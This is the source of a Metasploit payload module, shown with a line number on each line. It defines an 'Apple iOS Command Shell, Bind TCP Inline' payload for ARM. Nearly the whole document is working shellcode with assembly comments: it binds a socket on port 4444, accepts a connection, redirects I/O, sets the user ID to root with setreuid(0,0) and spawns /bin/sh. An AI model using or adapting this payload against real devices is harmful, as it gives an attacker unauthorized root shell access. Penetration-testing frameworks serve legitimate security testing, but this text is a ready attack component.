Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 200
10

11
  include Msf::Payload::Single
12
  include Msf::Payload::Osx
13
  include Msf::Sessions::CommandShellOptions
14

15
  def initialize(info = {})
16
    super(merge_info(info,
17
      'Name'          => 'Apple iOS Command Shell, Bind TCP Inline',
18
      'Description'   => 'Listen for a connection and spawn a command shell',
19
      'Author'        => 'hdm',
20
      'License'       => MSF_LICENSE,
21
      'Platform'      => 'osx',
22
      'Arch'          => ARCH_ARMLE,
23
      'Handler'       => Msf::Handler::BindTcp,
24
      'Session'       => Msf::Sessions::CommandShellUnix,
25
      'Payload'       =>
26
        {
27
          'Offsets' =>
28
            {
29
              'LPORT'    => [ 30, 'n' ],
30
            },
31
          'Payload' =>
32
            [
33
              # socket
34
              0xe3a00002, # mov r0, #0x2
35
              0xe3a01001, # mov r1, #0x1
36
              0xe3a02006, # mov r2, #0x6
37
              0xe3a0c061, # mov r12, #0x61
38
              0xef000080, # swi 128
39
              0xe1a0a000, # mov r10, r0
40
              0xeb000001, # bl _bind
41

42
              # port 4444
43
              0x5c110200,
44
              0x00000000,
45

46
              # bind
47
              0xe1a0000a, # mov r0, r10
48
              0xe1a0100e, # mov r1, lr
49
              0xe3a02010, # mov r2, #0x10
50
              0xe3a0c068, # mov r12, #0x68
51
              0xef000080, # swi 128
52

53
              # listen
54
              0xe1a0000a, # mov r0, r10
55
              0xe3a01001, # mov r1, #0x1
56
              0xe3a0c06a, # mov r12, #0x6a
57
              0xef000080, # swi 128
58

59
              # accept
60
              0xe3a0c01e, # mov r12, #0x1e
61
              0xe1a0000a, # mov r0, r10
62
              0xe3a01010, # mov r1, #0x10
63
              0xe50d1018, # str r1, [sp, #-24]
64
              0xe24d2010, # sub r2, sp, #0x10
65
              0xe24d3018, # sub r3, sp, #0x18
66
              0xef000080, # swi 128
67
              0xe1a0b000, # mov r11, r0
68

69
              # setup dup2
70
              0xe3a05002, # mov r5, #0x2
71

72
              # dup2
73
              0xe3a0c05a, # mov r12, #0x5a
74
              0xe1a0000b, # mov r0, r11
75
              0xe1a01005, # mov r1, r5
76
              0xef000080, # swi 128
77
              0xe2455001, # sub r5, r5, #0x1
78
              0xe3550000, # cmp r5, #0x0
79
              0xaafffff8, # bge _dup2
80

81
              # setreuid(0,0)
82
              0xe3a00000, # mov r0, #0x0
83
              0xe3a01000, # mov r1, #0x0
84
              0xe3a0c07e, # mov r12, #0x7e
85
              0xef000080, # swi 128
86

87
              # execve
88
              0xe0455005, # sub r5, r5, r5
89
              0xe1a0600d, # mov r6, sp
90
              0xe24dd020, # sub sp, sp, #0x20
91
              0xe28f0014, # add r0, pc, #0x14
92
              0xe4860000, # str r0, [r6], #0
93
              0xe5865004, # str r5, [r6, #4]
94
              0xe1a01006, # mov r1, r6
95
              0xe3a02000, # mov r2, #0x0
96
              0xe3a0c03b, # mov r12, #0x3b
97
              0xef000080, # swi 128
98

99
              # /bin/sh
100
              0x6e69622f,
101
              0x0068732f
102
            ].pack("V*")
103
        }
104
      ))
105
  end
106
end
107

108